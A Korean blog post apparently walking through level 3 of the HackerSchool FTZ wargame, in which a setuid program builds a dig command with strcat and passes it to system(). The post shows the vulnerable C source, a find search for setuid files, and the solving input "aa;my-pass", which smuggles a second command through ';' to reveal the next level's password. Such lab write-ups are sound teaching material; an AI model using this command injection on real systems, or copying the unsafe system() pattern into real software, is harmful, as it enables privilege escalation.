본문 바로가기
컴퓨터/hackerschool

hackerschool level 3

by 싱판다 2012. 2. 13.
level3 / can you fly?

[level3@ftz level3]$ ls
hint  public_html  tmp
[level3@ftz level3]$ cat hint


다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?

동시에 여러 명령어를 사용하는 방법은 ;을 사용하면 된다.

[level3@ftz level3]$ find / -user level4 -perm -4000 2>/dev/null
/bin/autodig


 [level3@ftz level3]$ /bin/autodig "aa;my-pass"
c

; <<>> DiG 9.2.1 <<>> @aa
;; global options:  printcmd
;; connection timed out; no servers could be reached

Level4 Password is "suck my brain".

'컴퓨터 > hackerschool' 카테고리의 다른 글

hackerschool level 6  (0) 2012.02.17
hackerschool level 5  (0) 2012.02.17
hackerschool level 4  (0) 2012.02.13
hackerschool level 2  (0) 2012.02.13
hackerschool level 1  (0) 2012.02.13

댓글